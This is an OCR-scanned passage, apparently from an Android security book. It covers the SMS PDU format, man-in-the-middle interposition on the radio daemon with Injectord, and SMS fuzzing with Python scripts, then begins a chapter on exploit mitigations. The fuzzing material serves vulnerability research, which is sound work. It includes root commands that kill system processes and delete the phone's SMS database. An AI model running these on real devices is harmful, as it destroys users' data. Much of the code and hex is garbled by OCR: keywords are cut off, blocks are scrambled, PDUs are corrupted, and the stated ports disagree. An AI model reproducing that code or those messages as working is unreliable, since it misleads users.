When an SMS message is sent from one phone to another, the message is not 
directly transmitted between the two devices. The sending phone sends the 
SMS message to a service on the cellular network called the Short Message 
Service Center (SMSC). After the SMSC receives the message, it then delivers 
the SMS message to the destination phone. This operation may involve multiple 
intermediary SMSC endpoints. 

The SMSC does much more than just forward SMS messages between the 
sender and receiver. If the receiving phone is not in range of a cell tower, or if 
the phone is switched off, the SMSC queues the message until the phone comes 
back online. SMS delivery is “best effort,” meaning there is no guarantee that an 
SMS message will be delivered at all. The SMS standard supports a time-to-live 
value to specify how long a message should be queued before it can be discarded. 

The process of how SMS messages are received and handled on the mobile 
handset side is discussed in detail in the “Interacting with the Modem” section 
later in this chapter. 


SMS Message Format 


As previously mentioned SMS is much more than sending text messages between 
phones. SMS is used for changing and updating phone configuration, sending 
ringtones and Multimedia Messaging Service (MMS) messages, and notify- 
ing the user about waiting voicemails. To implement all these features, SMS 
supports sending binary data in addition to plain text messages. Due to its 
many features SMS is interesting for mobile phone security. This section briefly 
introduces the most important parts of the SMS message format. You can find 
more details in the 3GPP SMS standard at http://www. 3gpp. org/ftp/Specs/ 

ht ml -info/ 23040. htm. 


The SMS Format 


SMS messages come in two different formats, depending on whether the SMS 
message is sent from phone to SMSC or from SMSC to phone. The two formats 
differ only slightly. Because we are only interested in the delivery side (the mobile 
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phone side), this section only covers the delivery format named SMS-Deliver. 
The SMS-Deliver format is depicted in Figure 11-3. 


Field Octets Purpose 
SMSC variable SMSC Number 


Deliver 1 Message Flags 
Sender variable Sender Number 
TP-PID 1 Protocol ID 
TP-DCS 1 Data Coding Scheme 
TP-SCTS 7 Time Stamp 


UDL 1 User Data Length 
UD variable User Data 


Figure 11-3: SMS PDU Format 


The following code excerpt shows an example of an SMS message in the SMS- 
Deliver PDU (protocol data unit) format. It appears just as it would be delivered 
from the cellular modem to the telephony stack. 


0891945111325476F8040D91947187674523F100003150821142154 
00DC8309BFD060DD16139BB3C07 


The message starts with the SMSC information. The SMSC information con- 
sists of a one octet length field, one octet phone number type field (91 indicating 
the international format), and a variable number of octets (based on the length 
field) for the SMSC number. The actual SMSC number is encoded with the 
high and low nibbles (4 bits) swapped in the protocol data unit (PDU). Further, 
notice that if the number does not terminate on an octet boundary then the 
remaining nibble is filled with an F . Both properties are easily recognizable 
by comparing the start of the PDU message previously shown to the following 
decoded SMSC number. 


Length Type Number 
08 91 4915112345678 


The next field is the Deliver field, which specifies the message header flags. 
This field is one octet long and indicates, for example, if there are more messages 
to be sent (like in our case 0 x 04) or if a User Data Header (UDH) is present in 
the User Data (UD) section. The latter is conveyed using the User Data Header 
Indication (UDHI) bit. The UDH will be briefly discussed later in this section. 

The following field is the sender number. Besides the length field, it has the 
same format as the SMSC number. The sender number length field is calculated 
using the number of digits that appear in the phone number and not the actual 
number of octets that are stored in the PDU. 


Length Type Number 
0D 91 4917787654321 
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The Protocol Identifier (TP-PID) field follows the sender number. The TP-PID 
field has various meanings based on which bits are set in the field. Normally, 
it is set to 0 x 00 (zero). The field after TP-PID is the Data Coding Scheme 
(TP-DCS). This field defines how the User Data (UD) section of the SMS mes- 
sage is encoded. Possible encodings include 7-bit, 8-bit, and 16-bit alphabets. 
This field is also used to indicate if compression is used. Common values are 0 
x 00 for 7-bit uncompressed messages and 0 x 04 for 8-bit uncompressed data. 
The example message uses 0 x 00 to indicate 7-bit text. 

The next field is the Time Stamp of the SMS message (TP-SCTS). The time 
stamp uses 7-octets. The first octet is the year. The second octet is the month. 
And so on. Each octet is nibble swapped. The time stamp of the example mes- 
sage indicates that the message was sent on May 28th, 2013. 

The User Data Length (UDL) is dependent on the data coding scheme (TP-DCS) 
and indicates how many septets (7-bit elements) of data are stored in the user data 
section. Our message carries 13 (0 x OD) septets of data in the user data section. 

The user data of the example message is C8309 BF D060DD16139BB3C07. When 
decoded, it reads Hello Charles. 


SMS User Data Header (UDH) 


The User Data Header (UDH) is used to implement SMS features that go beyond 
simple text messages. For example, the UDH is used to implement features such 
as multi-part messages, port addressed messages, indications (such as, waiting 
voicemail — the small mail symbol in the Android notification bar), Wireless 
Application Protocol (WAP) push, and MMS (based on WAP push). The UDH 
is part of the User Data field in the SMS-Deliver format. The presence of a UDH 
is indicated through the UDHI flag in the Deliver field of the SMS message. 

The UDH is a general purpose data field and consists of a length field (UDHL) 
and a data field. The length field indicates how many octets are present in the 
data field. The actual data field is formatted using a typical type-length-value 
(TLV) format called an Information Element (IE). The IE is structured as shown 
in Figure 11-4. 


Information Element Identifier (IEI) 


Information Element Data Length (IEDL) 
Information Element Data (IED) 


Figure 11-4: The IE Format 


The first octet indicates the type. This is called the Information Element 
Identifier (IEI). The second octet stores the length. This is called the Information 
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Element Data Length (IEDL). The following octets are the actual data, called the 
Information Element Data (IED). The UDH can contain an arbitrary number of 
IEs. The following is an example of a UDH that contains one IE. The IE indicates 
a multipart SMS message. 


050003420301 


The UDH length is 0 x 05. The IEI for a multipart message header is 0 x 00. 
The length is 0 x 03. The rest is the data section of the IE. The format of the 
multipart message IE is the message ID (0 x 42 in this case), the number of parts 
that belong to this message (0 x 03), and the current part (0 x 01). 

For more details and a list of all standardized IEIs, please refer to the SMS 
standard athttp:// www. 3gpp.org/ftp/Specs/html-info/23040. htm. 


Interacting with the Modem 


This section explains the steps necessary to interact with the modem of an 
Android smartphone. There are several reasons to interact with the modem. 
The primary reason covered in this chapter is for fuzzing the telephony stack. 


Emulating the Modem for Fuzzing 


One method to find bugs and vulnerabilities in the components that make up 
the Radio Interface Layer is fuzzing. Fuzzing, also discussed in Chapter 6, is a 
method for testing software input validation by feeding it intentionally mal- 
formed input. Fuzzing has a long history and has been proven to work. In order 
to do successful fuzzing, three tasks have to be accomplished: input generation, 
test-case delivery, and crash monitoring. 

Vulnerabilities in SMS handling code provide a truly remote attack vector. SMS 
is an open standard and is well documented. Therefore, it is easy to implement 
a program that generates SMS messages based on the standard. These proper- 
ties make SMS a perfect target for fuzzing. Later in the chapter a rudimentary 
SMS fuzz generator is demonstrated. 

Next, the malicious input has to be delivered to the software component that 
is going to be fuzz-tested. In the example, this component is ri | d. Normally, 
SMS messages are delivered over the air. The sender’s phone sends the mes- 
sage to the cellular network and the cellular network delivers the message to 
the receiving phone. However, sending SMS messages using this method has 
many problems. 

First of all, message delivery is slow and takes a couple of seconds. Depending 
on the operator and country, certain SMS message types cannot be sent. Further, 
certain message types will be accepted by the cellular operator, but will not be 
delivered to the receiver. Without access to the mobile operator’s systems, it is 
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impossible to determine why a certain message did not get delivered to the 
receiver. Further, sending SMS messages costs money (although many cellular 
contracts offer unlimited SMS messaging). In addition, the mobile operator 
might disable the account of the message sender or receiver after sending a 
couple thousand messages a day. Further, in theory operators have the pos- 
sibility to log all SMS messages that pass through their network. They might 
capture the SMS message that triggered a bug and thus the operator has the 
potential to take your fuzzing result away from you. Malformed messages may 
unintentionally do harm to back-end cellular infrastructure, such as an SMSC 
endpoint. These issues make it unreliable to send SMS messages for fuzzing 
purposes via the cellular network. 

Removing all the mentioned obstacles is a desirable goal. The goal can be 
achieved in multiple ways, such as using a small GSM base station to run your 
own cellular network. However, there are better options, such as emulating the 
cellular modem. 

Our goal is emulating specific parts of the cellular modem to enable injecting 
SMS messages into the Android telephony stack. Of course you could try to 
implement a complete modem emulator in software, but this is a lot of unnec- 
essary work. You only need to emulate a few specific parts of the modem. The 
solution for this is to interpose between the modem and r i | d. If you can put a 
piece of software between the modem and ri | d, you can act as a man-in-the- 
middle and observe and modify all data sent between the two components. 
Interposing at this level provides access to all command/response pairs exchanged 
between i | d and the modem. Also, you can block or modify commands and/ 
or responses. Most importantly, you can inject your own responses and pretend 
they originate from the modem. The RIL daemon and the rest of the Android 
telephony stack cannot distinguish between real and injected commands, 
and therefore they process and handle every command/response as if it were 
issued by the actual modem. Interposing provides a powerful method for explor- 
ing the telephony security at the boundary between the cellular modem and 
the Android telephony stack. 


Interposing on a GSM AT Command-Based Vendor-ril 


Cellular basebands that implement the GSM AT command set are common. 
Because the AT command set is text based, it is relatively easy to understand 
and implement it. It provides the perfect playground for our endeavor into RIL 
security. In 2009, Collin Mulliner and Charlie Miller published this approach 
in “Injecting SMS Messages into Smart Phones for Vulnerability Analysis” Grd 
USENIX Workshop on Offensive Technologies (WOOT), Montreal, Canada, 2009) 
in an effort to analyze Apple’s iOS, Microsoft’s Windows Mobile, and Google’s 
Android. Mulliner and Miller’s paper is available at ht tp: // www. useni x. org/ 
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events/woot09/tech/full_papers/mulliner. pdf. They created a tool called 
Injectord that performs interposition (a man-in-the-middle attack) against ri | d. 
The source code for Injectord is freely available at http://www. mul liner. org/ 
security/sms/ and with the materials accompanying this book. 

The demo device, the HTC One V, has one serial device that is used by ri | d, 
| dev/smd0. Injectord basically functions as a proxy. It opens the original serial 
device and provides a new serial device to ri | d. Injectord reads commands 
issued by r i | d from the fake serial device and forwards them to the original 
serial device that is connected to the modem. The answers read from the original 
device are then forwarded to ri | d by writing them to the fake device. 

To trickr i | d into using the fake serial device, the original device / dev/ s md0 
is renamed to / dev/smd0real . Injectord creates the fake device with the name 
| dev/ s md0 , thus causing ri |d to use the fake serial device. On Linux, the file- 
name of a device file is not important because the kernel only cares about the 
device type and the major and minor numbers. The specific steps are listed in 
the following code. 


mv /dev/smd0 /dev/smd0rea 
/data/local/tmp/injectord 
Kill -9 <PID of rild> 


When Injectord is running, it logs all communication between the cellular 
baseband and ri | d. An example log of an SMS being sent from the phone to 
the baseband is shown here: 


read 11 bytes fromrild 
AT+CMGS =22 


read 3 bytes from smd0 
> 


read 47 bytes fromrild 
0001000€8100947167209508000009c2F77b0da297e774 


read 2 bytes from smd0 


read 14 bytes from smd0 
+CMGS: 128 
0 


The first command tells the modem the length of the SMS PDU; in the example 
it is 22 bytes. The modem answers with > to indicate that it is ready to accept 
the SMS message. The next line, issued by ri | d, contains the SMS PDU in hex 
encoding (44 characters). In the last step, the modem acknowledges the SMS 
message. Inspecting the log of Injectord is a great way to learn about AT com- 
mands, including specific non-standard vendor-ril modem communications. 
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Phone Side SMS Delivery 


The main goal is to emulate SMS delivery from the network to the Android 
telephony stack. Of specific interest is how SMS messages are delivered from 
the modem tori l|d. The GSM AT command set defines two types of interac- 
tion between the baseband and the telephony stack: command-response and 
unsolicited response. The telephony stack issues a command to the baseband, 
which is answered by the baseband immediately. For events that come from the 
network, the baseband simply issues an unsolicited response. This is how SMS 
messages are delivered from the baseband to the telephony stack. Incoming voice 
calls are signaled in the same way. The following is an example of an AT unso- 
licited response, sniffed using the Injectord tool, for an incoming SMS message: 
+CMT: 53 


0891945111325476F8040D91947187674523F10000012 
0404143944025C8721EA47CCFD1F53028091A87DD273A88FCO6DIDI6510BDCCIEBF41F437399C07 


The first line is the unsolicited response name, +CMT, followed by the size of 
the message in octets. The second line contains the message in hexadecimal 
encoding. The telephony stack then issues an AT command to let the baseband 
know that the unsolicited response was received. 


Fuzzing SMS on Android 


Now that you know how the Android telephony stack and ri | d work, you can 
use this knowledge to fuzz SMS on Android. Based on your knowledge of the 
SMS format, you generate SMS message test cases. Next, you use Injectord’s 
message injection feature to deliver the test cases to your target phone. Besides 
message injection, you also need to monitor your target phone for crashes. After 
you have collected crash logs, you have to analyze and verify the crashes. This 
section shows you how to perform all of these steps. 


Generating SMS Messages 


Now that you know what the SMS message format looks like, you can start gen- 
erating SMS messages to fuzz the Android telephony stack. Chapter 6 already 
provides an introduction to fuzzing; therefore, this chapter only discusses 
notable differences relevant to SMS fuzzing. 

SMS is an excellent example of when additional domain knowledge is neces- 
sary for developing a fuzzer. Many fields in an SMS message cannot contain 
broken values because SMS messages are inspected by the SMSC as they are 
transmitted inside the mobile operator infrastructure. Broken fields lead the 
SMSC to not accept the message for delivery. 
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The following information looks at a fuzzer for the UDH that was previously 
introduced. The UDH has a simple TLV format, and, therefore, is perfect for a 
small exercise. The following Python script shown is based on an open source 
library for creating SMS messages. This library is available with the book mate- 
rials and from http://www. mul liner.org/security/sms/. It generates SMS 
messages that contain between one and ten UDH elements. Each element is 
filled with a random type and random length. The remaining message body is 
filled up with random data. The resulting messages are saved to a file and sent 
to the target later. All of the necessary imports required to run this script are 
included in the SMS library. 


#!/usr/bin/python 


port os 
port sys 
port socket 
port time 
port Utils 
port sms 
port SMSFuzzData 

port random 

om datetime import datetime 
port fuzzutils 


= ee E ee ee ee E 


a 
o 


udhrandfuzz(msisdn, smsc, ts, num): 
s = sms. SMSToMS() 
Ss. _msisdn = msisdn 
s._msisdn_type = 0x91 
s. smsc = sms¢ 
s. smsc_type = 0x91 
s._tppid = 0x00 
s._tpdcs = random. randrange(0, 1) 
if s._tpdcs == 

s._tpdcs = 0x04 
s. timestamp = ts 
s. deliver = 0x04 
s.deliver_raw2flags() 
s._deliver_udhi = 1 
s.deliver_flags2raw() 
s 
5 
s 
f 


._ msg = 
._msg_leng = 0 
zdi =" 
or i in range(0, num) 
tu = chr(randomrandrange(0, Oxff)) 
tul = random randrange(1, 132) 
if s._udh_leng + tul > 138: 
break 


tud = SMSFuzzData. get SMSFuzzData() 

s._udh = s._ udh + tu + chr(tul) + tud[:tul] 
s._udh_leng = len(s._udh) 

if s._udh_leng > 138: 
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break 


s._msg_leng = 139 - s._udh_leng 
if s._msg_leng > 0: 
s. msg_leng = random randrange(int(s._msg_leng / 2), s._msg_leng) 
if s._msg_leng > 0: 
tud = SMSFuzzData. getSMSFuzzData() 
s. msg = tud[:s._msg_leng] 
else: 
s._msg_leng = 0 


s.encode() 
return s._pdu 


if name == "__main__" 
out = [] 
for i in range(0, int(sys.argv[1])): 


ts = Utils. hex2bin("99309251619580", 0) 
rnd = random.randrange(1, 10 
msg = udhrandfuzz("4917787654321", "49177123456", ts, rnd) 
line = Utils. bin2hex(msg, 1 
leng = (len(line) / 2) - 8 
out. append((line, leng)) 
fuzzutils.cases2file(out, sys. argv[2]) 


The following are some example messages from our random UDH generator 


script. The messages can be sent to any phone running Injectord as described 
in the next section. 


07919471173254F6440D91947187674523F1784699309251619580837AF 

3142 227222722272227222722272227222722272227E2623B83B3B3B3B38B 

3B3B3B3B383B3B3B3B3B3B3B83B383B383B3B3B3B3B3B3B3B3B3B3B3B3B3B 
3B3B3B83B3B83B3B3B3B3B3B3B83B383B383B3B3B3B3B3B3B3B3B3B3B3B3B3B 
3B3B3B83B3B83B3B3B3B3B3B3B83B383B383B3B3B3B3B3B3B3B3B3B3B3B3B3B 
3B3B8EBBA78E928494C6 151 


07919471173254F6440D91947187674523F138EA993092516195808A744E72606060606060606060 
60606060606060606060606060606060606060606060606060606060606060606060606060606060 
60606060606060606060606060606060606060606060606060606060606060606060606060606060 
60606060606060606060606060606060606060606060606060181818181818181818181818181818 
181818181818 158 


07919471173254F6440D91947187674523F1DE76993092516195806D392B375E5E5E5E5E5E5E5E5E 
SESES5ES5ES5E5 ES ESESESESESESESESESESESESESESESESESESESESESESESESESESESESESESESESESE 
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Injecting SMS Messages Using Injectord 


Message injection works as in the following manner. Injectord listens on TCP port 
4242 and expects a complete +CMT message consisting of two lines of text: +C MT 
and length on the first line and the hex-encoded SMS message on the second 
line. The message is injected into the fake serial device used by ri | d. When the 
message is received, ri | d issues an answer to the modem to acknowledge the 
message. In order to avoid confusing the modem, Injectord blocks the acknowl- 
edgement command. 

The following code presents a simple Python program to send an SMS mes- 
sage to Injectord running on the HTC One V Android smartphone. The s end ms g 
method takes the destination IP address, message contents, message length (that 
is used for the +CMT response), and the Carriage Return Line Feed (CRLF) type. 
The AT command set is a line-based protocol; each line has to be terminated 
to signal that a command is complete and ready to be parsed. The termination 
character is either a Carriage Return (CR) or a Line Feed (LF). Different modems 
expect a different combination of CRLF for the AT communication. 


# use criftype = 3 for HTC One V 
def sendmsg(dest_ip, msg, msg_cmt, criftype = 1): 
error = 0 
if crlftype == 
buffer = "+CMT: , %d\r\n%s\r\n" % (msg_cmt, msg) 
elif criftype == 2: 
buffer = "\n+CMT: , %d\n%s\n" % (msg_cmt, msg) 
elif criftype == 
buffer = "\n+tCMT: , %d\r\n%s\r\n" % (msg_cmt, msg) 
so = socket.socket(socket.AF_INET, socket. SOCK STREAM) 
try: 
$o.connect((dest_ip, 4223)) 
except: 
error = 1 
try: 
so.send( buffer) 


except: 
error = 2 
so.close() 
return error 
Monitoring the Target 


Fuzzing without monitoring the target is useless because you cannot catch the 
crashes by looking at the phone’s screen. In addition, you want to be able to fuzz 
fully automated and only look at the test cases that triggered a crash of some 
sort. In order to do this you have to be able to monitor the phone while you 
fuzz. In addition, you want to reset the SMS application from time to time to 
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minimize side effects, including crashes resulting from reprocessing previous 
test cases. Using Android Debug Bridge (ADB), you can monitor an Android 
phone for crashes, including the Telephony and SMS stack. The basic idea works 
as follows. You send an SMS message using the Pythons endmsg, which sends 
the SMS message to Injectord running on the phone. After the SMS is injected, 
you inspect the Android system log using ADB’s | 0gcat command. If the log 
contains a native crash or Java exception, you save the | ogcat output and the 
SMS message for the current test case. After each test case, you clear the system 
log and continue with the next test case. After every 50 SMS messages, you 
delete the SMS database and restart the SMS program on the Android phone. 
The following Python code implements this algorithm. 


#!/usr/bin/ python 


import os 
import time 
import socket 


def get_log(path = ""): 
cmd = path + "adb logcat -d" 
| = os. popen(cmd) 
r = l.read() 
|. close() 
return r 


def clean_log(path = ""); 
cmd = path + "adb logcat -c" 
c = 0S. popen(cmd) 
bla = c.read() 
c. close() 
return 1 


de 


— 


check_log(log): 

e = 0 

if log.find("Exception") != -1: 
e=l 

if log.find("EXCEPTION") != -1: 
e=l 

if log.find("exception") != -1: 
e=l 

return e 


def kill _proc(path = "", name = "") 
cmd = path + "adb shell \"su -c busybox killall -9 " + name + "\"" 
| = os. popen(cmd) 
r = |.read() 
|. close() 
return r 


def clean_sms_db(path = ""): 
cmd = path + "adb shell \"su-c rm" 
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def 


def 


def 


def 


cmd = cmd + "/data/data/com android. providers.telephony" 
cmd = cmd + "/databases/mmssms.db\"" 

| = 0S. popen( cmd) 

r = l.read() 

|. close() 

return 

cleanup_device(path = ""): 

clean_sms_db( path) 

kill _proc(path, "com. android. mms") 

kill _proc(path, "com. android. phone") 


og_bug(filename, log, test_case): 

p = open(filename, "w") 
p.write(test_case) 
p.write("\n*-----+--++-+ eee eee ee eee \n") 
p.write(log) 
p 
p 
p 


.write("\n") 
cwrite("\ nesses ee ee eee eee ee eee eee *\n") 
„close 


ile2cases(filename): 
out = [] 


p = open(filename) 
ine = fp.readline( 
while line: 
cr = line.split(" ") 
out.append((cr[0], int(cr[1].rstrip("\n")))) 
line = fp.readline() 
fp.close( 
return out 
sendcases(dest_ip, cases, logpath, cmdpath = "", criftype = 1, delay = 5, 
status = 0, start = 0): 
count = 0 
cleaner = 0 
for i in cases: 
if count >= start: 
line, cmt) = i 
error = sendmsg(dest_ip, line, cmt, criftype) 
if status > 0: 
print "%d) error=%d data: %S" % (count, error, line) 
time.sleep(delay) 
= get_log(cmdpath) 
#print | 
if check_log(!) == 1: 
lout =line +" " + str(cmt) + "\n\n" 
log bug(logpath + str(time.time()) + ".log", |, lout) 


clean_log(cmdpath) 
count = count + 1 
cleaner = cleaner + 1 
if cleaner >= 50: 
cleanup_device(cmdpath) 
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cases 


sendcases(dest ip, 


if __ name 
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cleaner 


sendcasesfromfile(filename, 


= file2cas 
delay 


__ ma 


0 


cmdpath = ; 
status 


1, 
0): 


dest_ip, 5, 


" flogs/", 


criftype 
Start 


del ay 


logpath i 
es(filename) 
cases, logpath, 


= delay, status 


cmdpath, 
status, start 


criftype criftype, 
start) 


in] 


fn = os.sys.argv[1] 


dest 
start 
if 


print 


sendcasesfromfile(fn, 


= 0S.syS.ar 
0 


len(os.sys. argv) 
start 


int ( 
"Sending t 


gv[ 2] 


> 3% 

os. sys. argv[ 3]) 

est cases from %s to %s" 
dest, cmdpath = "", 
start) 


% (fn, dest) 
criftype 


3, status T; 


start 


Following is an example crash log that was saved by the fuzz monitoring 
script. The dump shows a NullPointerException in the Sms Recei ver Servi ce. In 
the best case, you would find a bug that triggers a native crash in ri l| d itself. 


V/SmsReceiverService(11360): onStart: #1 mResultCode: -1 = Activity. RESULT_OK 

V/ UsageStatsService(11473): CMD_ID_UPDATE_ MESSAGE _ USAGE 

V/SmsReceiverService( 6116): onStart: #1, @1090741600 

E/NotificationService( 4286): Ignoring notification with icon==0: Notification 
(contentView=null vibrate=null,sound=null null, defaults=0x0, fl ags=0x62) 

D/ SmsReceiverService( 6116): isCbm false 

D/SmsReceiverService( 6116): isDiscard: false 

D/SmsReceiverService( 6116): [HTC_MESSAGES SmsReceiverService: 

handl eSmsRecei ved( ) 

Wedalvikvm( 11360): threadid=12: thread exiting with uncaught exception 
(group=0x40a9e228 

D/SmsReceiverService( 6116): isEvdo: false before inserMessage 

D/ SmsReceiverService( 6116): sms notification lock 

E/ Androi dRuntime(11360): FATAL EXCEPTION: SmsReceiverService 

E/ AndroidRuntime(11360): java.lang. Null PointerException 

E/ AndroidRuntime(11360): at com. concentriclivers.mms.com. android. mms. 
transaction. SmsReceiverService.repl aceFormFeeds 
SmsReceiverService.java: 512 

E/ AndroidRuntime(11360): at com. concentriclivers.mms.com. android. mms. 
transaction. SmsReceiverService.storeMessage 
SmsReceiverService.java: 527 

E/ AndroidRuntime(11360): at com. concentriclivers.mms.com. android. mms. 
transaction. SmsReceiverService.insert Message 
SmsReceiverService.java: 443 

E/ AndroidRuntime(11360): at com. concentriclivers.mms.com. android. mms. 
transaction. SmsReceiverService. hand! eSmsRecei ved 
SmsReceiverService.j ava: 362 

E/ Androi dRuntime(11360): at com. concentriclivers.mms.com. android. mms. 
transaction. SmsReceiverService. access$l(SmsReceiverService. java: 359) 
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E/AndroidRunti me(11360): at comconcentriclivers. mms. com. android. mms. 
transaction. SmsReceiverService$ServiceHandler.handl eMessage 
(SmsReceiverService. java: 208) 

E/AndroidRuntime(11360): at android.os.Handler.dispatchMessage(Handler. 


E/ AndroidRuntime(11360): at android.os.Looper.|oop(Looper. java: 154) 
E/AndroidRuntime(11360): at android.os.HandlerThread. run(HandlerThread. 


D/SmsReceiverService( 6116): smsc time: 03/29/99, 8:16:59am, 922713419000 

D/ SmsReceiverService( 6116): device time: 01/21/13, 6:20: 01pm, 1358810401171 
E/EmbeddedLogger( 4286): App crashed! Process: com. concentriclivers. mms. com 
android. mms 
E/EmbeddedLogger( 4286): App crashed! Package: com. concentriclivers. mms. com 
android. mms v3 (4.0. 3) 

E/EmbeddedLogger( 4286): Application Label: Messaging 


Verifying Fuzzing Results 


The described fuzzing method has one minor drawback. Each SMS message 
that produces a crash has to be verified using a real cellular network because 
you might have generated SMS messages that are not accepted by a real SMSC. 
To test if a given message is accepted by a real SMSC, you simply try to send 
the given test case to another phone. Note that the generated SMS messages 
are in the SMS-Deliver format. To be able to send a given test case to another 
phone, it has to be converted to the SMS-Submit format. We experimented with 
two approaches for this test. One approach is sending the SMS message using 
an online service (such as www. routomessaging. comand www. clickatel.com). 
Most SMS online services have a simple HTTP-based API and are easy to use. 
Another, more straightforward approach is to send the test case SMS message 
from one phone to another phone. 

On Android, this can be a little complicated as the Android SMS API does not 
support raw PDU messages. However, there are two workarounds that enable 
you to send raw PDU messages. The first workaround involves sending SMS 
messages directly using the GSM AT command AT+CMGS. This is possible if the 
modem-to-RIL communication is carried out using AT commands. You can do 
this by modifying Injectord to allow sending the CMGS command to the modem. 
The second workaround works on HTC Android phones only. HTC added 
functionality to send raw PDU SMS messages through the Java API. The API 
is hidden and you need to use Java reflection in order to use it. The following 
code implements sending raw PDU messages on HTC Android phones. 

void htc_sendsmspdu( byte pdul]) 

try { 

SmsManager sm = SmsManager.getDefault(); 


byte[] bb = new byte[1] 
Method m = SmsManager.class.getDeclaredMethod ("sendRawPdu", 
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bb. getClass(), 
bb.getClass(), Pendinglntent.class, Pendingl ntent.class, boolean.class, 
boolean. class); 
m. setAccessi ble(true): 
minvoke(sm, null, pdu, null, null, false, false); 
} catch (Exception e) { 
e.printStackTrace(); 
} 
} 


Summary 


In this chapter, you read about the Android telephony stack. In particular you 
found out much of what there is to know about the Radio Interface Layer (RIL). 
You examined basic RIL functionality and what hardware manufacturers must 
do to integrate their cellular hardware into the Android Framework. Based on 
this, you discovered how to monitor the communication between the Android 
RIL and the cellular modem hardware. 

In the second half of this chapter, you received instruction on how to fuzz test 
the SMS message subsystem of an Android device. In the process you found out 
a bit about the SMS message format and how to build an SMS message genera- 
tor SMS for fuzzing. This chapter also showed you how to use ADB to monitor 
the telephony stack of an Android device for crashes. Altogether, this chapter 
enables you to carry out your own hacking experiments on the Android RIL 
subsystem. 

The next chapter covers all of the many exploit mitigation techniques that 
have been employed to help secure the Android platform. Each technique is 
explained in detail, including historical facts and inner workings. 


Exploit Mitigations 


In the exploit research community, an arms race is ongoing between offensive 
and defensive researchers. As successful attacks are published or discovered, 
defensive researchers aim to disrupt similar attacks from succeeding in the future. 
To do this, they design and implement exploit mitigations. When a new mitigation 
is first introduced, it disrupts the offensive community. Offensive researchers 
must then devise new techniques to work around the newly added protection. 
As researchers develop these techniques and publish them, the effectiveness 
of the technique decreases. Defensive researchers then return to the drawing 
board to design new protections, and so the cycle continues. 

This chapter discusses modern exploit mitigations and how they relate to the 
Android operating system. The chapter first explores how various mitigations 
function from a design and implementation point of view. Then it presents a 
historical account of Android’s support for modern mitigations, providing code 
references when available. Next, the chapter discusses methods for intention- 
ally disabling and overcoming exploit mitigations. Finally, the chapter wraps 
up by looking forward at what exploit mitigation techniques the future might 
bring to Android. 
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Classifying Mitigations 


Modern operating systems use a variety of exploit mitigation techniques for 
enhanced protection against attacks. Many of these techniques aim squarely 
at preventing the exploitation of memory corruption exploits. However, some 
techniques try to prevent other methods of compromise, such as symbolic 
link attacks. Adding mitigation techniques to computer systems makes them 
more difficult, and thus more expensive, to attack than they would be without 
mitigations. 

Implementing exploit mitigations requires making changes to various compo- 
nents of the system. Hardware-assisted mitigation techniques perform very well, 
but they often require hardware changes within the processor itself. Additionally, 
many techniques, including hardware-assisted methods, require additional 
software support in the Linux kernel. Some mitigation techniques require 
changing the runtime library and/or compiler tool chain. 

The exact modifications needed for each technique carry advantages and 
disadvantages along with them. For hardware-assisted mitigations, changing 
an instruction set architecture (ISA) or underlying processor design can be 
expensive. Also, deploying new processors may take an extended period of time. 
Modifying the Linux kernel or runtime libraries is relatively easy compared to 
changing a processor design, but building and deploying updated kernels is 
still required. As mentioned previously in Chapter 1, updating operating system 
components has proven to be a challenge in the Android ecosystem. Techniques 
that require changes to the compiler tool chain are even worse. Deploying them 
requires rebuilding—often with special flags—each program or library that is 
to be protected. Techniques that rely only on changing the operating system are 
preferred because they typically apply system wide. On the contrary, compiler 
changes only apply to programs compiled with mitigation enabled. 

In addition to all of the aforementioned pros and cons, performance is a 
major concern. Some security professionals argue that protecting end users is 
worth a performance cost, but many disagree. Numerous mitigations were not 
adopted initially, or in some cases ever, due to the unsatisfactory performance 
increase associated with them. 

Without further ado, it’s time to examine some specific mitigation techniques 
and see how they apply to the Android operating system. 


Code Signing 


Verifying cryptographic signatures is one mechanism used to prevent execut- 
ing unauthorized code, often called code signing. Using public key cryptography, 
devices can use a public key to verify that a particular private key (held by a 
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trusted authority) signed a piece of code. Although Android doesn’t utilize 
code signing to the extent that iOS and OS X do, it utilizes signature checking 
extensively. It is used in areas such as TrustZone, locked boot loaders, over-the- 
air updates, applications, and more. Due to the fragmented nature of Android, 
exactly what is and isn’t verified varies from device to device. 

The most widespread use of code signing in Android pertains to locked boot 
loaders. Here, the lowest-level boot loaders verify that subsequent boot stages 
come from a trusted source. The general idea is to verify a chain of trust all the 
way to the lowest-level boot loader, which is usually stored in a boot read-only 
memory (ROM) chip. On some devices, the last stage boot loader verifies the 
kernel and initial random-access memory (RAM) disk. Only a few devices, such 
as Google TV devices, go so far as to verify signatures on kernel modules. In 
addition to verifying signatures at boot time, some devices implement signature 
checking when flashing firmware. One item that is sometimes checked during 
flashing is the / system partition. Again, the exact devices that implement this 
protection vary. Some devices verify signatures only at boot, some verify dur- 
ing flashing, and some do both. 

Apart from the boot process, code signing is also used to verify over-the-air 
updates. OTA updates come in the form of a zip file containing patches, new 
files, and required data. Typically, updates are applied by rebooting into recov- 
ery mode. In this mode, the recovery image handles verifying and installing 
the update. The content of the zip file is cryptographically signed by a trusted 
authority — and later verified — to prevent malicious firmware attacks. For 
example, the default recovery image on Nexus devices refuses to apply updates 
unless they are signed by Google. 

Android applications employ code signing, but the signature used doesn’t 
chain back to a trusted root authority. Rather than have all applications signed 
by a trusted source as Apple does for iOS apps, Google requires that developers 
self-sign their apps before they can appear in the Google Play store. Not chain- 
ing back to a trusted root authority means end users must rely on community 
reputation to determine trust. The existence of an app in the Play store alone 
provides little indication of whether or not the app, or its developer, is trustworthy. 

Though Android does use code-signing mechanisms extensively, the pro- 
tection it provides pales in comparison to that of iOS. All of the previously 
described mechanisms also apply to iOS in some way. The thing that sets iOS 
apart is that Apple uses code signing to enforce whether memory regions can 
be executed. Code can only be executed if it has been approved by Apple. This 
prevents downloading and executing, or injecting, new code after an applica- 
tion passes the approval process. The only exception is a single memory region 
marked with read, write, and execute permissions, which is used for just-in- 
time (JIT) compiling in the browser. When combined with other mitigations, 
Apple’s code signing makes traditional memory corruption attacks surprisingly 
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difficult. Because Android does not enforce code signing this way, it does not 
benefit from the protection such a technique provides. Memory trespass attacks 
and downloading and executing new code after installation are both possible. 
The other mitigation techniques presented in this chapter help to prevent some 
exploits from working, but Trojan attacks remain unaffected. 


Hardening the Heap 


Around the time that the first mitigations targeting stack-based buffer overflow 
vulnerabilities were introduced, heap overflows rose to popularity. In 1999, 
Matthew Conover of the wOOw00 security team published a text file called 
heaptut.txt. The original text can be found at htt p://www.cgsecurity. org/ 
exploit/heaptut.txt. This document served as an introduction of the possi- 
